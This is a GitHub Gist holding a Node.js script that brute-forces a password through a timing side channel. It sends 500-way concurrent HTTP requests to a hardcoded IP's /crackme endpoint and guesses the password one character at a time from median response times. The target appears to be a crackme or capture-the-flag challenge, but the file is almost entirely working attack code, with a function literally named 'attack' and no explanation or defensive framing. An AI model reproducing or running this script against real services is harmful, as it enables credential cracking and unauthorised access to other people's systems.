Created
February 26, 2021 06:12
-
-
Save getjump/366cc1f1ad23f9a5df0572f42772d196 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const http = require('http'); | |
const { Sema } = require('async-sema'); | |
const REPEAT_COUNT = 100; | |
const s = new Sema(500, { | |
capacity: 100000000 | |
}); | |
const genCharArray = function(charA, charZ) { | |
var a = [], i = charA.charCodeAt(0), j = charZ.charCodeAt(0); | |
for (; i <= j; ++i) { | |
a.push(String.fromCharCode(i)); | |
} | |
return a; | |
} | |
const getMedian = function (data) { | |
data.sort (function (a, b) { | |
return a - b; | |
}); | |
const half = Math.floor(data.length / 2); | |
if (data.length % 2) { | |
return data[half]; | |
} | |
return (data[half - 1] + data[half]) / 2.0; | |
} | |
const getCurrentTime = function() { | |
const hrTime = process.hrtime(); | |
return hrTime[0] * 1000000 + hrTime[1] / 1000; | |
} | |
String.prototype.replaceAt = function(index, replacement) { | |
return this.substr(0, index) + replacement + this.substr(index + replacement.length); | |
} | |
let requestWithoutError = 0; | |
const BASE_TIMEOUT = 1000; | |
let currentTimeout = BASE_TIMEOUT; | |
const attack = async function (it = 0, prefix = '51q5kjnp1v22i17tk', length = 17) { | |
let perSymbolAvg = {}; | |
for (const variant of genCharArray('a', 'z').concat(genCharArray('0', '9'))) { | |
let password = prefix.replaceAt(it, variant); | |
let tryTimes = new Array(REPEAT_COUNT); | |
const innerWrapper = new Promise((resolve, reject) => { | |
for (let i = 0; i < REPEAT_COUNT; i++) { | |
function request() { | |
s.acquire().then(() => { | |
let requestStartedTime = getCurrentTime(); | |
const req = http | |
.request( | |
{ | |
hostname: "35.194.103.229", | |
path: `/crackme?login=hacker&password=${password}`, | |
timeout: 500000, | |
}, | |
res => { | |
let data = "" | |
res.on("data", d => { | |
requestWithoutError += 1 | |
let requestTime = getCurrentTime() - requestStartedTime; | |
tryTimes[i] = requestTime; | |
data += d | |
}) | |
res.on("end", () => { | |
if (data === 'Russian haxx0r go away!') { | |
stopAttack = false; | |
} else { | |
console.log(`New data: ${data}`) | |
stopAttack = true; | |
} | |
s.release(); | |
if (i === REPEAT_COUNT - 1) { | |
resolve(); | |
} | |
}) | |
} | |
); | |
req.on('error', (e) => { | |
console.log(e); | |
}); | |
req.end(); | |
}) | |
} | |
request(); | |
} | |
}); | |
await innerWrapper; | |
// const sum = tryTimes.reduce((a, b) => a + b, 0); | |
// const avg = (sum / tryTimes.length) || 0; | |
const avg = getMedian(tryTimes); | |
// console.log(`AVG is: ${avg} for next symbol = ${variant}`) | |
perSymbolAvg[variant] = avg; | |
} | |
console.log(perSymbolAvg); | |
const bestNeedle = Object.keys(perSymbolAvg).reduce((a, b) => perSymbolAvg[a] > perSymbolAvg[b] ? a : b); | |
console.log(`Best current needle: ${bestNeedle}`); | |
let password = prefix.replaceAt(it, bestNeedle); | |
console.log(`Current password: ${password}`); | |
if (it == length - 1) { | |
console.log(`Guessed password`); | |
return password; | |
} else { | |
await attack(it + 1, password, length); | |
return password; | |
} | |
} | |
attack(0, '51q5kjnp1v22i17tk', 17) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment